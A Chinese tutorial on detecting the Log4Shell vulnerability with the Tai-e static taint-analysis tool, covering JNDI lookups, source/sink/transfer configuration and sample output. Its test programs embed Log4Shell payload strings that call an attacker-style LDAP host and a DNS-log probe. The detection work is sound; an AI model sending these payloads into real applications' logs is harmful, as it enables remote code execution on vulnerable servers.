太阿静态分析检测Log4Shell
字数 2400 2025-08-19 12:42:28
太阿静态分析检测Log4Shell漏洞教学文档
0x01 Tai-e污点分析方案
Java污点分析的两大难点
- 别名关系:处理对象引用间的别名问题
- 动态反射:处理Java反射机制带来的分析困难
Tai-e解决方案
-
基于指针分析的架构:
- 将污点转换成对象
- 利用指针分析传播污点数据,自然解决别名关系问题
-
先进的反射分析:
- 采用2019年提出的、目前推导能力最强的静态反射分析技术
0x02 Log4Shell漏洞原理
2a Lookup机制
- 日志方法:
logger.error(str) - 将
${...}中的特定字符串映射到相应值 - 示例:
logger.error("${java:version}")→ "Java version 1.8.0_292"logger.error("${java:os}")→ "Windows 10 10.0, architecture: and64-64"
2b JNDI Lookup
- 格式:
${jndi:...} - JNDI(Java Naming and Directory Interface)功能:
- Java平台的标准扩展
- 通过名称绑定对象的概念
- 提供"通过名称查找对象"的规范接口
- 具体实现技术:RMI、DNS、Corba、Ldap等
2c JNDI & LDAP Lookup
- 格式:
${jndi:ldap:...} - LDAP(Lightweight Directory Access Protocol):
- 用于网络上的分布式目录服务访问和管理
- 攻击流程:
- Log4j解析输入为远程地址并发起请求
- 服务器响应请求
- 恶意payload示例:
${jndi:ldap://badman.io/Exploit}
0x03 如何分析Log4Shell
3a 设置source和sink
- 漏洞类型:注入漏洞(Injection)
- 分析方法:污点分析(Taint Analysis)
测试程序示例
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Server {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Server.class);
String input = getInput();
logger.error(input);
}
private static String getInput() {
return "${jndi:ldap://badman.io/Exploit}";
}
}
Source配置
- 标记为用户输入
- 污点数据来源于
getInput()方法 - YAML配置:
sources: - {kind: call, method: "<Main: java.lang.String getInput()>", index: result}
Sink配置
- 对应JNDI Lookup
- 标记为
InitialContext.lookup(String) - YAML配置:
sinks: - {method: "<javax.naming.InitialContext: java.lang.Object lookup(java.lang.String)>", index: 0}
分析挑战
- 跨越33层方法调用
- 污点数据多次变换形态
- 涉及多种反射API,可能导致数据流追踪中断
3b 自创建测试项目
Maven配置(pom.xml)
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-web</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>
测试类
package org.example;
import org.apache.logging.log4j.*;
import java.lang.String.*;
public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
String poc = getInput();
logger.error(poc);
}
private static String getInput(){
return "${jndi:ldap://9710ck.dnslog.cn}";
}
}
3c 配置Tai-e的三个步骤
- 配置Source和Sink
- 配置污点转移
- 配置反射分析
0x04 Tai-e的污点分析配置
4a 基本概念
变量表示
-
调用点的变量:
- 结果变量(result):方法调用的结果
- 基变量(base):方法调用的接收器对象
- 参数:调用点的参数,从0开始索引
-
方法的变量:
- 通过方法的索引来指定参数
字段签名
- 格式:
<CLASS_TYPE: FIELD_TYPE FIELD_NAME> - 示例:
<org.example.MyClass: java.lang.String info>
4b Source分类
-
Call Sources:
- 格式:
- {kind: call, method: METHOD_SIGNATURE, index: INDEX, type: TYPE} - 当调用
METHOD_SIGNATURE时,为调用点的变量创建TYPE类型的污点对象
- 格式:
-
Parameter Sources:
- 格式:
- {kind: param, method: METHOD_SIGNATURE, index: INDEX, type: TYPE} - 用于入口方法等没有显式调用点的情况
- 格式:
-
Field Sources:
- 格式:
- {kind: field, field: FIELD_SIGNATURE, type: TYPE} - 当字段加载到变量时生成污点对象
- 格式:
4c Sink分类
- 格式:
sinks: - {method: METHOD_SIGNATURE, index: INDEX} - 示例:
sinks: - {method: "<java.io.File: java.io.File File(java.lang.String)", index: 0}
4d 污点转移
为什么需要污点转移
- 指针分析能处理的语句有限(New、Assign、Store、Load、Call)
- 无法处理如
StringBuilder.append(taint)、StringBuilder.toString()等方法调用语句
污点转移示例
String taint = getSecret(); // source
StringBuilder sb = new StringBuilder();
sb.append("abc");
sb.append(taint); // taint转移到sb
sb.append("xyz");
String s = sb.toString(); // taint转移到s
leak(s); // sink
YAML配置
transfers:
- {method: "<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>", from: 0, to: base}
- {method: "<java.lang.StringBuilder: java.lang.String toString()>", from: base, to: result}
污点转移概念
- 由方法调用
base.foo(a0, a1, ..., an)引起 - 五种转移情况:
- 污点从参数转移到结果
- 污点从参数转移到base
- 污点从base转移到结果
- 污点从base转移到参数
- 污点从参数转移到另一个参数
0x05 安装太阿并检测Log4Shell
5a 安装太阿
环境要求
- IntelliJ IDEA 2023.1+
- Amazon Corretto version 17.0.8+
- 下载java-benchmarks子模块
Tai-e主类配置项
-
程序选项:
- 类路径(-cp/--class-path)
- 应用程序类路径(-acp/--app-class-path)
- 主类(-m/--main-class)
- 输入类(--input-classes)
- Java版本(-java)
-
分析选项:
- 提前构建IR(--pre-build-ir)
- 分析范围(scope):APP/ALL/Reachable
- 自定义分析选项
-
其他选项:
- 帮助(-h/--help)
- 世界缓存模式(-wc/--world-cache-mode)
- 指定输出目录(--output-dir)
命令行示例
java -jar tai-e-all.jar -cp foo.jar -cp "my program/dir/" -m baz.Main -java 8 -a "pta=cs:2-type;time-limit:60;"
5b 配置并检测
- 找到Main class:
pascal.taie.Main - 配置运行参数:
--options-file java-benchmarks/log4j/2.14.0/options.yml
运行结果
- 查看
output/tai-e.log - 示例输出:
Detected 1 taint flow(s): TaintFlow{ <Server: void main(java.lang.String[])>[12@L8] temp$4 = invokestatic Server.getInput()/result -> <org.apache.logging.log4j.core.net.JndiManager: java.lang.Object lookup(java.lang.String)>[1@L172] $r3 = invokeinterface $r2.lookup(name)/0 }
可视化污点流
- 安装Graphviz:
brew install graphviz - 转换.dot文件为svg:
dot -Tsvg -o taint-flow-graph.svg taint-flow-graph.dot
总结
通过Tai-e静态分析工具,我们可以有效地检测Log4Shell漏洞。关键在于:
- 正确配置source和sink
- 处理污点转移问题
- 理解指针分析和污点分析的关系
- 合理配置Tai-e的运行参数
这种方法不仅适用于Log4Shell,也可推广到其他Java注入漏洞的静态分析中。